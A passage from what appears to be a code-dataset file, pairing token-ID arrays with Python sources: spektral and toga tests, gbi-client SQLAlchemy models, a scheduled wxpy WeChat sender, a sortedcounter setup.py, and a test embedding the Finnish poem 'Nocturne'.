29892,
1583,
29889,
2312,
29918,
29883,
29897,
29871,
396,
334,
6897,
29898,
5105,
29879,
29918,
791,
29897,
470,
4236,
29898,
5105,
29879,
29918,
791,
29892,
29900,
29897,
13,
4706,
10153,
29918,
6229,
353,
1583,
29889,
3027,
29889,
12181,
7503,
29906,
29962,
13,
4706,
3949,
353,
13850,
29906,
29889,
21476,
29898,
11108,
29892,
10153,
29918,
6229,
29961,
1057,
29899,
29896,
1402,
13850,
29906,
29889,
23845,
29918,
18521,
1718,
29897,
13,
4706,
396,
3394,
830,
29931,
29965,
304,
734,
2533,
13,
4706,
3949,
353,
7442,
29889,
27525,
398,
29898,
11108,
29892,
29871,
29900,
29897,
13,
4706,
396,
4226,
675,
1661,
29899,
22198,
7688,
287,
2533,
13,
4706,
1583,
29889,
11108,
29918,
3317,
353,
3949,
29889,
3317,
580,
13,
4706,
565,
1583,
29889,
11108,
29918,
3317,
2804,
29871,
29900,
322,
1583,
29889,
8945,
675,
29901,
13,
9651,
3949,
353,
3949,
847,
1583,
29889,
11108,
29918,
3317,
13,
4706,
1583,
29889,
11108,
353,
3949,
13,
13,
4706,
736,
1583,
29889,
11108,
13,
13,
1678,
822,
317,
8766,
29898,
1311,
1125,
13,
4706,
9995,
2577,
278,
26229,
2910,
15945,
29908,
13,
4706,
17117,
903,
353,
1583,
29889,
14394,
29924,
2547,
25584,
10070,
580,
13,
4706,
903,
353,
1583,
29889,
24970,
4806,
5861,
580,
13,
13,
4706,
736,
1583,
29889,
11236,
362,
3388,
580,
13,
13,
1678,
822,
4770,
1491,
12035,
1311,
29892,
916,
29903,
8766,
1125,
13,
4706,
9995,
4035,
3018,
428,
7639,
15945,
29908,
13,
4706,
1209,
13,
13,
1678,
822,
6588,
29898,
1311,
29892,
916,
29903,
8766,
29879,
1125,
13,
4706,
9995,
12483,
482,
3196,
2377,
29899,
5105,
29899,
29883,
2232,
15945,
29908,
13,
4706,
716,
29918,
5311,
29883,
353,
1583,
29889,
8552,
580,
13,
4706,
3949,
353,
1583,
29889,
29903,
8766,
580,
13,
4706,
274,
2232,
353,
518,
11108,
29962,
13,
4706,
565,
916,
29903,
8766,
29879,
338,
1051,
29901,
13,
9651,
363,
916,
297,
916,
29903,
8766,
29879,
29901,
13,
18884,
274,
2232,
29889,
4397,
29898,
1228,
29889,
29903,
8766,
3101,
13,
4706,
1683,
29901,
13,
9651,
274,
2232,
29889,
4397,
29898,
1228,
29903,
8766,
29879,
29897,
13,
13,
4706,
4759,
353,
6213,
13,
4706,
363,
21759,
297,
274,
2232,
29901,
13,
9651,
4759,
4619,
21759,
13,
9651,
1596,
703,
12483,
8267,
29901,
9162,
4759,
29889,
12181,
29897,
13,
13,
4706,
716,
29918,
5311,
29883,
29889,
11108,
353,
4759,
29914,
2435,
29898,
29883,
2232,
29897,
13,
4706,
736,
716,
29918,
5311,
29883,
13,
13,
1678,
822,
2656,
1609,
7976,
29898,
1311,
1125,
13,
4706,
9995,
6605,
263,
1051,
310,
2377,
29899,
5105,
29899,
29883,
2232,
491,
1009,
7472,
297,
26229,
2910,
1434,
4226,
2133,
13,
4706,
363,
285,
297,
12705,
29898,
1761,
974,
29903,
8766,
29879,
29892,
1820,
353,
14013,
921,
29901,
921,
29889,
6605,
1609,
7976,
580,
1125,
13,
4706,
1596,
29898,
29888,
29889,
3027,
29892,
285,
29889,
25932,
29892,
285,
29889,
7728,
29918,
517,
29918,
13148,
29892,
285,
29889,
307,
29875,
29892,
285,
29889,
11108,
29918,
3317,
29897,
13,
4706,
9995,
13,
4706,
736,
1583,
29889,
11108,
29918,
3317,
13,
2
] |
tests/test_models/test_general_gnn.py | JonaBecher/spektral | 2,145 | 178420 | <reponame>JonaBecher/spektral<filename>tests/test_models/test_general_gnn.py
from spektral import models
from tests.test_models.core import MODES, run_model
config = {
"model": models.GeneralGNN,
"modes": [MODES["SINGLE"], MODES["DISJOINT"], MODES["MIXED"]],
"kwargs": {"output": 32, "connectivity": "cat", "pool": "sum"},
"edges": False,
"dense": False,
"sparse": True,
}
def test_model():
run_model(config)
config["kwargs"]["pool"] = None
run_model(config)
config["kwargs"]["connectivity"] = "sum"
run_model(config)
config["kwargs"]["connectivity"] = None
run_model(config)
| [
1,
529,
276,
1112,
420,
29958,
29967,
2681,
3629,
4630,
29914,
5965,
12947,
284,
29966,
9507,
29958,
21150,
29914,
1688,
29918,
9794,
29914,
1688,
29918,
17492,
29918,
5138,
29876,
29889,
2272,
13,
3166,
961,
12947,
284,
1053,
4733,
13,
3166,
6987,
29889,
1688,
29918,
9794,
29889,
3221,
1053,
16999,
2287,
29903,
29892,
1065,
29918,
4299,
13,
13,
2917,
353,
426,
13,
1678,
376,
4299,
1115,
4733,
29889,
15263,
29954,
10262,
29892,
13,
1678,
376,
1545,
267,
1115,
518,
20387,
29903,
3366,
29903,
4214,
1307,
12436,
16999,
2287,
29903,
3366,
23711,
29967,
6992,
29911,
12436,
16999,
2287,
29903,
3366,
29924,
6415,
3352,
3108,
1402,
13,
1678,
376,
19290,
1115,
8853,
4905,
1115,
29871,
29941,
29906,
29892,
376,
6915,
2068,
1115,
376,
4117,
613,
376,
10109,
1115,
376,
2083,
10758,
13,
1678,
376,
287,
2710,
1115,
7700,
29892,
13,
1678,
376,
1145,
344,
1115,
7700,
29892,
13,
1678,
376,
29879,
5510,
1115,
5852,
29892,
13,
29913,
13,
13,
13,
1753,
1243,
29918,
4299,
7295,
13,
1678,
1065,
29918,
4299,
29898,
2917,
29897,
13,
13,
1678,
2295,
3366,
19290,
3108,
3366,
10109,
3108,
353,
6213,
13,
1678,
1065,
29918,
4299,
29898,
2917,
29897,
13,
13,
1678,
2295,
3366,
19290,
3108,
3366,
6915,
2068,
3108,
353,
376,
2083,
29908,
13,
1678,
1065,
29918,
4299,
29898,
2917,
29897,
13,
13,
1678,
2295,
3366,
19290,
3108,
3366,
6915,
2068,
3108,
353,
6213,
13,
1678,
1065,
29918,
4299,
29898,
2917,
29897,
13,
2
] |
app/geobox/model/project.py | omniscale/gbi-client | 2 | 168895 | <gh_stars>1-10
# This file is part of the GBI project.
# Copyright (C) 2012 Omniscale GmbH & Co. KG <http://omniscale.com>
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
import datetime
import sqlalchemy as sa
from sqlalchemy import orm
from flaskext.babel import lazy_gettext
from . meta import Base
__all__ = ['Project', 'ExportProject', 'ImportProject']
class Project(Base):
__tablename__ = 'projects'
id = sa.Column(sa.Integer, primary_key=True)
title = sa.Column(sa.String, nullable=False)
time_created = sa.Column(sa.DateTime(), default=datetime.datetime.utcnow)
time_updated = sa.Column(sa.DateTime(), default=datetime.datetime.utcnow)
def in_progress(self):
for task in self.tasks:
if task.is_running:
return True
return False
def progress(self):
progress = 0
for task in self.tasks:
if task.progress:
progress += task.progress
else:
return None
return progress / len(self.tasks)
coverage = sa.Column(sa.String())
download_size = sa.Column(sa.Float())
type = sa.Column('type', sa.String(50))
__mapper_args__ = {'polymorphic_on': type}
tasks = orm.relationship('Task', backref="project")
class ExportProject(Project):
__tablename__ = 'projects_export'
__mapper_args__ = {'polymorphic_identity': 'export_project'}
project_type = task_type = lazy_gettext('project export')
id = sa.Column(sa.Integer, sa.ForeignKey('projects.id'), primary_key=True)
export_raster_layers = orm.relationship('ExportRasterLayer', backref='project', cascade="all, delete, delete-orphan")
export_vector_layers = orm.relationship('ExportVectorLayer', backref='project', cascade="all, delete, delete-orphan")
export_format = sa.Column(sa.String)
export_srs = sa.Column(sa.String)
class ImportProject(Project):
__tablename__ = 'projects_import'
__mapper_args__ = {'polymorphic_identity': 'import_project'}
task_type = lazy_gettext('project import')
id = sa.Column(sa.Integer, sa.ForeignKey('projects.id'), primary_key=True)
import_raster_layers = orm.relationship('ImportRasterLayer', backref='project', cascade="all, delete, delete-orphan")
update_tiles = sa.Column(sa.Boolean(), default=False) | [
1,
529,
12443,
29918,
303,
1503,
29958,
29896,
29899,
29896,
29900,
13,
29937,
910,
934,
338,
760,
310,
278,
402,
12809,
2060,
29889,
13,
29937,
14187,
1266,
313,
29907,
29897,
29871,
29906,
29900,
29896,
29906,
13352,
6994,
29883,
744,
18156,
669,
3189,
29889,
476,
29954,
529,
1124,
597,
290,
6994,
29883,
744,
29889,
510,
29958,
13,
29937,
13,
29937,
10413,
21144,
1090,
278,
13380,
19245,
29892,
10079,
29871,
29906,
29889,
29900,
313,
1552,
376,
29931,
293,
1947,
1496,
13,
29937,
366,
1122,
451,
671,
445,
934,
5174,
297,
752,
13036,
411,
278,
19245,
29889,
13,
29937,
887,
1122,
4017,
263,
3509,
310,
278,
19245,
472,
13,
29937,
13,
29937,
1678,
1732,
597,
1636,
29889,
4288,
29889,
990,
29914,
506,
11259,
29914,
27888,
1430,
1660,
29899,
29906,
29889,
29900,
13,
29937,
13,
29937,
25870,
3734,
491,
22903,
4307,
470,
15502,
304,
297,
5007,
29892,
7047,
13,
29937,
13235,
1090,
278,
19245,
338,
13235,
373,
385,
376,
3289,
8519,
29908,
350,
3289,
3235,
29892,
13,
29937,
399,
1806,
8187,
2692,
399,
1718,
29934,
13566,
29059,
6323,
8707,
29928,
22122,
29903,
8079,
13764,
29979,
476,
22255,
29892,
2845,
4653,
470,
2411,
2957,
29889,
13,
29937,
2823,
278,
19245,
363,
278,
2702,
4086,
14765,
1076,
11239,
322,
13,
29937,
27028,
1090,
278,
19245,
29889,
13,
13,
5215,
12865,
13,
5215,
4576,
284,
305,
6764,
408,
872,
13,
3166,
4576,
284,
305,
6764,
1053,
470,
29885,
13,
3166,
1652,
294,
446,
486,
29889,
28727,
1053,
17366,
29918,
657,
726,
13,
3166,
869,
12700,
1053,
7399,
13,
13,
1649,
497,
1649,
353,
6024,
7653,
742,
525,
26382,
7653,
742,
525,
17518,
7653,
2033,
13,
13,
13,
1990,
8010,
29898,
5160,
1125,
13,
1678,
4770,
3891,
2435,
420,
1649,
353,
525,
16418,
29915,
13,
13,
1678,
1178,
353,
872,
29889,
4409,
29898,
4977,
29889,
7798,
29892,
7601,
29918,
1989,
29922,
5574,
29897,
13,
1678,
3611,
353,
872,
29889,
4409,
29898,
4977,
29889,
1231,
29892,
1870,
519,
29922,
8824,
29897,
13,
13,
1678,
931,
29918,
11600,
353,
872,
29889,
4409,
29898,
4977,
29889,
11384,
3285,
2322,
29922,
12673,
29889,
12673,
29889,
329,
29883,
3707,
29897,
13,
1678,
931,
29918,
21402,
353,
872,
29889,
4409,
29898,
4977,
29889,
11384,
3285,
2322,
29922,
12673,
29889,
12673,
29889,
329,
29883,
3707,
29897,
13,
13,
1678,
822,
297,
29918,
18035,
29898,
1311,
1125,
13,
4706,
363,
3414,
297,
1583,
29889,
20673,
29901,
13,
9651,
565,
3414,
29889,
275,
29918,
21094,
29901,
13,
18884,
736,
5852,
13,
4706,
736,
7700,
13,
13,
1678,
822,
6728,
29898,
1311,
1125,
13,
4706,
6728,
353,
29871,
29900,
13,
4706,
363,
3414,
297,
1583,
29889,
20673,
29901,
13,
9651,
565,
3414,
29889,
18035,
29901,
13,
18884,
6728,
4619,
3414,
29889,
18035,
13,
9651,
1683,
29901,
13,
18884,
736,
6213,
13,
4706,
736,
6728,
847,
7431,
29898,
1311,
29889,
20673,
29897,
13,
13,
1678,
23746,
353,
872,
29889,
4409,
29898,
4977,
29889,
1231,
3101,
13,
1678,
5142,
29918,
2311,
353,
872,
29889,
4409,
29898,
4977,
29889,
11031,
3101,
13,
1678,
1134,
353,
872,
29889,
4409,
877,
1853,
742,
872,
29889,
1231,
29898,
29945,
29900,
876,
13,
1678,
4770,
655,
2496,
29918,
5085,
1649,
353,
11117,
3733,
962,
5676,
293,
29918,
265,
2396,
1134,
29913,
13,
13,
1678,
9595,
353,
470,
29885,
29889,
2674,
800,
4034,
877,
5398,
742,
1250,
999,
543,
4836,
1159,
13,
13,
1990,
1222,
637,
7653,
29898,
7653,
1125,
13,
1678,
4770,
3891,
2435,
420,
1649,
353,
525,
16418,
29918,
15843,
29915,
13,
1678,
4770,
655,
2496,
29918,
5085,
1649,
353,
11117,
3733,
962,
5676,
293,
29918,
22350,
2396,
525,
15843,
29918,
4836,
10827,
13,
1678,
2060,
29918,
1853,
353,
3414,
29918,
1853,
353,
17366,
29918,
657,
726,
877,
4836,
5609,
1495,
13,
1678,
1178,
353,
872,
29889,
4409,
29898,
4977,
29889,
7798,
29892,
872,
29889,
27755,
2558,
877,
16418,
29889,
333,
5477,
7601,
29918,
1989,
29922,
5574,
29897,
13,
1678,
5609,
29918,
29878,
1901,
29918,
29277,
353,
470,
29885,
29889,
2674,
800,
4034,
877,
26382,
29934,
1901,
14420,
742,
1250,
999,
2433,
4836,
742,
3209,
6332,
543,
497,
29892,
5217,
29892,
5217,
29899,
5676,
273,
1159,
13,
1678,
5609,
29918,
8111,
29918,
29277,
353,
470,
29885,
29889,
2674,
800,
4034,
877,
26382,
12877,
14420,
742,
1250,
999,
2433,
4836,
742,
3209,
6332,
543,
497,
29892,
5217,
29892,
5217,
29899,
5676,
273,
1159,
13,
1678,
5609,
29918,
4830,
353,
872,
29889,
4409,
29898,
4977,
29889,
1231,
29897,
13,
1678,
5609,
29918,
29879,
2288,
353,
872,
29889,
4409,
29898,
4977,
29889,
1231,
29897,
13,
13,
13,
1990,
16032,
7653,
29898,
7653,
1125,
13,
1678,
4770,
3891,
2435,
420,
1649,
353,
525,
16418,
29918,
5215,
29915,
13,
1678,
4770,
655,
2496,
29918,
5085,
1649,
353,
11117,
3733,
962,
5676,
293,
29918,
22350,
2396,
525,
5215,
29918,
4836,
10827,
13,
1678,
3414,
29918,
1853,
353,
17366,
29918,
657,
726,
877,
4836,
1053,
1495,
13,
1678,
1178,
353,
872,
29889,
4409,
29898,
4977,
29889,
7798,
29892,
872,
29889,
27755,
2558,
877,
16418,
29889,
333,
5477,
7601,
29918,
1989,
29922,
5574,
29897,
13,
1678,
1053,
29918,
29878,
1901,
29918,
29277,
353,
470,
29885,
29889,
2674,
800,
4034,
877,
17518,
29934,
1901,
14420,
742,
1250,
999,
2433,
4836,
742,
3209,
6332,
543,
497,
29892,
5217,
29892,
5217,
29899,
5676,
273,
1159,
13,
1678,
2767,
29918,
1376,
267,
353,
872,
29889,
4409,
29898,
4977,
29889,
18146,
3285,
2322,
29922,
8824,
29897,
2
] |
wx_send.py | Kenneth111/moyu_tools | 4 | 98179 | import sys, os, getopt, time, datetime
from wxpy import *
def filesExist(fileList):
for i, aFile in enumerate(fileList):
if not os.path.exists(aFile):
print("warning: the {}th file, {}, doesn't exist.".format(i + 1, aFile))
return False
return True
def readFile(filename):
infoList = []
with open(filename, "rb") as f:
for line in f.readlines():
infoList.append(line.strip())
return infoList
def main(argv):
now = datetime.datetime.now()
dayDelta = datetime.timedelta(days = 0)
h = 0
m = 16
fileList = []
messageList = []
user = ""
group = ""
try:
opts, args = getopt.getopt(argv,"d:h:m:f:t:u:g:")
except getopt.GetoptError:
print ('wx_send.py -d <today(0) or tomorrow(1)> -h <hour 0-24> -m <minutes 0-59> -f <a file list> -t <a message list> -u <user name> -g <group name>')
sys.exit(1)
for opt, arg in opts:
if opt == '--help':
print ('wx_send.py -d <today(0) or tomorrow(1)> -h <hour 0-24> -m <minutes 0-59> -f <a file list> -t <a message list> -u <user name> -g <group name>')
sys.exit()
elif opt == "-d":
dayDelta = datetime.timedelta(days = int(arg))
elif opt == "-h":
h = int(arg)
elif opt == "-m":
m = int(arg)
elif opt == "-f":
fileList = readFile(arg)
if not filesExist(fileList):
sys.exit()
elif opt == "-t":
messageList = readFile(arg)
elif opt == "-u":
user = arg
elif opt == "-g":
group = arg
if user == "" and group == "":
print("please specify a user or group")
sys.exit()
bot = Bot()
if user != "":
userList = bot.friends().search(user)
try:
userObj = ensure_one(userList)
except Exception as e:
print(e)
sys.exit(2)
if group != "":
groupList = bot.groups().search(group)
try:
groupObj = ensure_one(groupList)
except Exception as e:
print(e)
sys.exit(2)
aTime = now.replace(hour = h, minute=m)
aTime = aTime + dayDelta
while datetime.datetime.now() < aTime:
time.sleep(20)
for aFile in fileList:
try:
if user != "":
userObj.send_file(aFile.decode("utf-8"))
if group != "":
groupObj.send_file(aFile.decode("utf-8"))
except Exception as e:
print(e)
print(aFile)
for aMessage in messageList:
try:
if user != "":
userObj.send(aMessage.decode("utf-8"))
if group != "":
groupObj.send(aMessage.decode("utf-8"))
except Exception as e:
print(e)
print(aMessage)
if __name__ == "__main__":
main(sys.argv[1:]) | [
1,
1053,
10876,
29892,
2897,
29892,
679,
3670,
29892,
931,
29892,
12865,
13,
3166,
26437,
2272,
1053,
334,
13,
13,
13,
1753,
2066,
1252,
391,
29898,
1445,
1293,
1125,
13,
1678,
363,
474,
29892,
263,
2283,
297,
26985,
29898,
1445,
1293,
1125,
13,
4706,
565,
451,
2897,
29889,
2084,
29889,
9933,
29898,
29874,
2283,
1125,
13,
9651,
1596,
703,
27392,
29901,
278,
6571,
386,
934,
29892,
24335,
1838,
29915,
29873,
1863,
1213,
29889,
4830,
29898,
29875,
718,
29871,
29896,
29892,
263,
2283,
876,
13,
9651,
736,
7700,
13,
1678,
736,
5852,
13,
13,
1753,
1303,
2283,
29898,
9507,
1125,
13,
1678,
5235,
1293,
353,
5159,
13,
1678,
411,
1722,
29898,
9507,
29892,
376,
6050,
1159,
408,
285,
29901,
13,
4706,
363,
1196,
297,
285,
29889,
949,
9012,
7295,
13,
9651,
5235,
1293,
29889,
4397,
29898,
1220,
29889,
17010,
3101,
13,
1678,
736,
5235,
1293,
13,
13,
1753,
1667,
29898,
19218,
1125,
13,
1678,
1286,
353,
12865,
29889,
12673,
29889,
3707,
580,
13,
1678,
2462,
5268,
353,
12865,
29889,
9346,
287,
2554,
29898,
16700,
353,
29871,
29900,
29897,
13,
1678,
298,
353,
29871,
29900,
13,
1678,
286,
353,
29871,
29896,
29953,
13,
1678,
934,
1293,
353,
5159,
13,
1678,
2643,
1293,
353,
5159,
13,
1678,
1404,
353,
5124,
13,
1678,
2318,
353,
5124,
13,
1678,
1018,
29901,
13,
4706,
29111,
29892,
6389,
353,
679,
3670,
29889,
657,
3670,
29898,
19218,
1699,
29881,
29901,
29882,
29901,
29885,
29901,
29888,
29901,
29873,
29901,
29884,
29901,
29887,
29901,
1159,
13,
1678,
5174,
679,
3670,
29889,
2577,
3670,
2392,
29901,
13,
4706,
1596,
6702,
23310,
29918,
6717,
29889,
2272,
448,
29881,
529,
27765,
29898,
29900,
29897,
470,
6454,
22396,
29898,
29896,
15410,
448,
29882,
529,
18721,
29871,
29900,
29899,
29906,
29946,
29958,
448,
29885,
529,
1195,
2667,
29871,
29900,
29899,
29945,
29929,
29958,
448,
29888,
529,
29874,
934,
1051,
29958,
448,
29873,
529,
29874,
2643,
1051,
29958,
448,
29884,
529,
1792,
1024,
29958,
448,
29887,
529,
2972,
1024,
29958,
1495,
13,
4706,
10876,
29889,
13322,
29898,
29896,
29897,
13,
1678,
363,
3523,
29892,
1852,
297,
29111,
29901,
13,
4706,
565,
3523,
1275,
525,
489,
8477,
2396,
13,
9651,
1596,
6702,
23310,
29918,
6717,
29889,
2272,
448,
29881,
529,
27765,
29898,
29900,
29897,
470,
6454,
22396,
29898,
29896,
15410,
448,
29882,
529,
18721,
29871,
29900,
29899,
29906,
29946,
29958,
448,
29885,
529,
1195,
2667,
29871,
29900,
29899,
29945,
29929,
29958,
448,
29888,
529,
29874,
934,
1051,
29958,
448,
29873,
529,
29874,
2643,
1051,
29958,
448,
29884,
529,
1792,
1024,
29958,
448,
29887,
529,
2972,
1024,
29958,
1495,
13,
9651,
10876,
29889,
13322,
580,
13,
4706,
25342,
3523,
1275,
11663,
29881,
1115,
13,
9651,
2462,
5268,
353,
12865,
29889,
9346,
287,
2554,
29898,
16700,
353,
938,
29898,
1191,
876,
13,
4706,
25342,
3523,
1275,
11663,
29882,
1115,
13,
9651,
298,
353,
938,
29898,
1191,
29897,
13,
4706,
25342,
3523,
1275,
11663,
29885,
1115,
13,
9651,
286,
353,
938,
29898,
1191,
29897,
13,
4706,
25342,
3523,
1275,
11663,
29888,
1115,
13,
9651,
934,
1293,
353,
1303,
2283,
29898,
1191,
29897,
13,
9651,
565,
451,
2066,
1252,
391,
29898,
1445,
1293,
1125,
13,
18884,
10876,
29889,
13322,
580,
13,
4706,
25342,
3523,
1275,
11663,
29873,
1115,
13,
9651,
2643,
1293,
353,
1303,
2283,
29898,
1191,
29897,
13,
4706,
25342,
3523,
1275,
11663,
29884,
1115,
13,
9651,
1404,
353,
1852,
13,
4706,
25342,
3523,
1275,
11663,
29887,
1115,
13,
9651,
2318,
353,
1852,
13,
1678,
565,
1404,
1275,
5124,
322,
2318,
1275,
376,
1115,
13,
4706,
1596,
703,
552,
559,
6084,
263,
1404,
470,
2318,
1159,
13,
4706,
10876,
29889,
13322,
580,
13,
1678,
9225,
353,
11273,
580,
13,
1678,
565,
1404,
2804,
376,
1115,
13,
4706,
1404,
1293,
353,
9225,
29889,
7932,
1975,
2141,
4478,
29898,
1792,
29897,
13,
4706,
1018,
29901,
13,
9651,
1404,
9930,
353,
9801,
29918,
650,
29898,
1792,
1293,
29897,
632,
13,
4706,
5174,
8960,
408,
321,
29901,
13,
9651,
1596,
29898,
29872,
29897,
13,
9651,
10876,
29889,
13322,
29898,
29906,
29897,
13,
1678,
565,
2318,
2804,
376,
1115,
13,
4706,
2318,
1293,
353,
9225,
29889,
13155,
2141,
4478,
29898,
2972,
29897,
13,
4706,
1018,
29901,
13,
9651,
2318,
9930,
353,
9801,
29918,
650,
29898,
2972,
1293,
29897,
13,
4706,
5174,
8960,
408,
321,
29901,
13,
9651,
1596,
29898,
29872,
29897,
13,
9651,
10876,
29889,
13322,
29898,
29906,
29897,
308,
13,
1678,
263,
2481,
353,
1286,
29889,
6506,
29898,
18721,
353,
298,
29892,
11015,
29922,
29885,
29897,
13,
1678,
263,
2481,
353,
263,
2481,
718,
2462,
5268,
13,
1678,
1550,
12865,
29889,
12673,
29889,
3707,
580,
529,
263,
2481,
29901,
13,
4706,
931,
29889,
17059,
29898,
29906,
29900,
29897,
13,
1678,
363,
263,
2283,
297,
934,
1293,
29901,
13,
4706,
1018,
29901,
13,
9651,
565,
1404,
2804,
376,
1115,
13,
18884,
1404,
9930,
29889,
6717,
29918,
1445,
29898,
29874,
2283,
29889,
13808,
703,
9420,
29899,
29947,
5783,
13,
9651,
565,
2318,
2804,
376,
1115,
13,
18884,
2318,
9930,
29889,
6717,
29918,
1445,
29898,
29874,
2283,
29889,
13808,
703,
9420,
29899,
29947,
5783,
13,
4706,
5174,
8960,
408,
321,
29901,
13,
9651,
1596,
29898,
29872,
29897,
13,
9651,
1596,
29898,
29874,
2283,
29897,
13,
1678,
363,
263,
3728,
297,
2643,
1293,
29901,
13,
4706,
1018,
29901,
13,
9651,
565,
1404,
2804,
376,
1115,
13,
18884,
1404,
9930,
29889,
6717,
29898,
29874,
3728,
29889,
13808,
703,
9420,
29899,
29947,
5783,
13,
9651,
565,
2318,
2804,
376,
1115,
13,
18884,
2318,
9930,
29889,
6717,
29898,
29874,
3728,
29889,
13808,
703,
9420,
29899,
29947,
5783,
13,
4706,
5174,
8960,
408,
321,
29901,
13,
9651,
1596,
29898,
29872,
29897,
13,
9651,
1596,
29898,
29874,
3728,
29897,
13,
13,
361,
4770,
978,
1649,
1275,
376,
1649,
3396,
1649,
1115,
13,
1678,
1667,
29898,
9675,
29889,
19218,
29961,
29896,
29901,
2314,
2
] |
setup.py | ckingdev/sortedcounter | 0 | 1615227 | from distutils.core import setup
setup(
name='sortedcounter',
version='0.1',
packages=['sortedcounter'],
license='MIT',
author='<NAME>',
author_email = '<EMAIL>',
url = 'https://github.com/ckingdev/sortedcounter',
download_url = 'https://github.com/ckingdev/sortedcounter/archive/0.1.tar.gz',
keywords = ['counter', 'collection', 'sorted', 'dict'],
classifiers = [],
description='A Counter like the collections class but with sorted keys.',
)
| [
1,
515,
1320,
13239,
29889,
3221,
1053,
6230,
13,
13,
13,
14669,
29898,
13,
1678,
1024,
2433,
24582,
11808,
742,
13,
1678,
1873,
2433,
29900,
29889,
29896,
742,
13,
1678,
9741,
29922,
1839,
24582,
11808,
7464,
13,
1678,
19405,
2433,
26349,
742,
13,
1678,
4148,
2433,
29966,
5813,
29958,
742,
13,
1678,
4148,
29918,
5269,
353,
12801,
26862,
6227,
29958,
742,
13,
1678,
3142,
353,
525,
991,
597,
3292,
29889,
510,
29914,
384,
292,
3359,
29914,
24582,
11808,
742,
13,
1678,
5142,
29918,
2271,
353,
525,
991,
597,
3292,
29889,
510,
29914,
384,
292,
3359,
29914,
24582,
11808,
29914,
10867,
29914,
29900,
29889,
29896,
29889,
12637,
29889,
18828,
742,
13,
1678,
29361,
353,
6024,
11808,
742,
525,
10855,
742,
525,
24582,
742,
525,
8977,
7464,
13,
1678,
770,
14903,
353,
19997,
13,
1678,
6139,
2433,
29909,
315,
5336,
763,
278,
16250,
770,
541,
411,
12705,
6611,
29889,
742,
13,
29897,
13,
2
] |
src/core/tests/widgets/test_imageview.py | luizoti/toga | 1,261 | 97494 | <filename>src/core/tests/widgets/test_imageview.py<gh_stars>1000+
import toga
import toga_dummy
from toga_dummy.utils import TestCase
class ImageViewTests(TestCase):
def setUp(self):
super().setUp()
# We need a test app to trigger app module discovery
self.app = toga.App(
formal_name="Test App",
app_id="org.beeware.test-app",
factory=toga_dummy.factory,
)
self.image_view = toga.ImageView(factory=toga_dummy.factory)
def test_widget_created(self):
self.assertEqual(self.image_view._impl.interface, self.image_view)
self.assertActionPerformed(self.image_view, 'create ImageView')
def test_setting_image_invokes_impl_method(self):
new_image = 'not a image'
# Binding a non-existent image raises an exception
try:
self.image_view.image = new_image
self.fail("Image should not bind")
except FileNotFoundError:
pass
# self.assertEqual(self.image_view._image, new_image)
# self.assertValueSet(self.image_view, 'image', new_image)
| [
1,
529,
9507,
29958,
4351,
29914,
3221,
29914,
21150,
29914,
8030,
29879,
29914,
1688,
29918,
3027,
1493,
29889,
2272,
29966,
12443,
29918,
303,
1503,
29958,
29896,
29900,
29900,
29900,
29974,
13,
5215,
304,
3249,
13,
5215,
304,
3249,
29918,
29881,
11770,
13,
3166,
304,
3249,
29918,
29881,
11770,
29889,
13239,
1053,
4321,
8259,
13,
13,
13,
1990,
7084,
1043,
24376,
29898,
3057,
8259,
1125,
13,
1678,
822,
731,
3373,
29898,
1311,
1125,
13,
4706,
2428,
2141,
842,
3373,
580,
13,
4706,
396,
1334,
817,
263,
1243,
623,
304,
7135,
623,
3883,
20699,
13,
4706,
1583,
29889,
932,
353,
304,
3249,
29889,
2052,
29898,
13,
9651,
11595,
29918,
978,
543,
3057,
2401,
613,
13,
9651,
623,
29918,
333,
543,
990,
29889,
915,
809,
598,
29889,
1688,
29899,
932,
613,
13,
9651,
12529,
29922,
29873,
14895,
29918,
29881,
11770,
29889,
14399,
29892,
13,
4706,
1723,
13,
13,
4706,
1583,
29889,
3027,
29918,
1493,
353,
304,
3249,
29889,
14460,
29898,
14399,
29922,
29873,
14895,
29918,
29881,
11770,
29889,
14399,
29897,
13,
13,
1678,
822,
1243,
29918,
8030,
29918,
11600,
29898,
1311,
1125,
13,
4706,
1583,
29889,
9294,
9843,
29898,
1311,
29889,
3027,
29918,
1493,
3032,
13699,
29889,
13248,
29892,
1583,
29889,
3027,
29918,
1493,
29897,
13,
4706,
1583,
29889,
9294,
4276,
5894,
15628,
29898,
1311,
29889,
3027,
29918,
1493,
29892,
525,
3258,
7084,
1043,
1495,
13,
13,
1678,
822,
1243,
29918,
26740,
29918,
3027,
29918,
11569,
23195,
29918,
13699,
29918,
5696,
29898,
1311,
1125,
13,
4706,
716,
29918,
3027,
353,
525,
1333,
263,
1967,
29915,
13,
13,
4706,
396,
25799,
263,
1661,
29899,
735,
9696,
1967,
1153,
4637,
385,
3682,
13,
4706,
1018,
29901,
13,
9651,
1583,
29889,
3027,
29918,
1493,
29889,
3027,
353,
716,
29918,
3027,
13,
9651,
1583,
29889,
14057,
703,
2940,
881,
451,
7868,
1159,
13,
4706,
5174,
3497,
17413,
2392,
29901,
13,
9651,
1209,
13,
13,
4706,
396,
1583,
29889,
9294,
9843,
29898,
1311,
29889,
3027,
29918,
1493,
3032,
3027,
29892,
716,
29918,
3027,
29897,
13,
4706,
396,
1583,
29889,
9294,
1917,
2697,
29898,
1311,
29889,
3027,
29918,
1493,
29892,
525,
3027,
742,
716,
29918,
3027,
29897,
13,
2
] |
tests/api/tests/test_route_text_payload.py | MyDataShare/access-gateway | 1 | 56703 | <reponame>MyDataShare/access-gateway<gh_stars>1-10
from unittest import main
from .helpers import api, test_base
text = """
Nocturne
Ruislinnun laulu korvissani,
tähkäpäiden päällä täysi kuu;
kesä-yön on onni omanani,
kaskisavuun laaksot verhouu.
En ma iloitse, en sure, huokaa;
mutta metsän tummuus mulle tuokaa,
puunto pilven, johon päivä hukkuu,
siinto vaaran tuulisen, mi nukkuu,
tuoksut vanamon ja varjot veen;
niistä sydämeni laulun teen.
Sulle laulan neiti, kesäheinä,
sydämeni suuri hiljaisuus,
uskontoni, soipa säveleinä,
tammenlehvä-seppel vehryt, uus.
En ma enää aja virvatulta,
onpa kädessäni onnen kulta;
pienentyy mun ympär’ elon piiri;
aika seisoo, nukkuu tuuliviiri;
edessäni hämäräinen tie
tuntemattomahan tupaan vie.
<NAME>
"""
class RouteTextPayloadCases:
